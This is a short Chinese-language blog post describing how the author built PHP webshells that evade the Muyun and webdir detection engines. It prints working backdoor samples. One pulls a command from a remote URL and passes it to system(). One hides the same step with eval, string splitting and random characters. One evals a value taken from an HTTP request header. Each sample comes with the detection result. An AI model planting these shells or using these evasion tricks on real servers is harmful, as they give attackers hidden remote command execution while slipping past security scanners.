webshell绕过案例

背景

在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST$_GET等数据为污点,所以这种方式可以用来躲避检测。

不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php 文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。

接着我又想到,我可以通过”端口复用”创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做”端口复用”。

https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd

似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云百度的webdir验证了一下检出效果。

测试过程

第一个样本如下

1
2
3
<?php
$cmd=file_get_contents("http://127.0.0.1:9999/cmd");
system($cmd);

牧云标记出webshell,webdir没有检出。

即使改成下面这种用eval、字符串拼接,牧云也可以检出

1
2
3
<?php
eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

不过加入随机数后,牧云就无法检出

1
2
3
4
5
6
7
8
<?php
function rand_char(){
$s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符
return $s;
}
$r=rand_char();
eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

rand、mt_rand 生成的随机数,牧云是可以检出的

总结

最开始的思路是想避免$_POST$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。

file_get_contents也可以改成socket,代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852

PS:
在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir

1
2
3
<?php
$headers=apache_request_headers();
eval($headers["X-TARGET"]);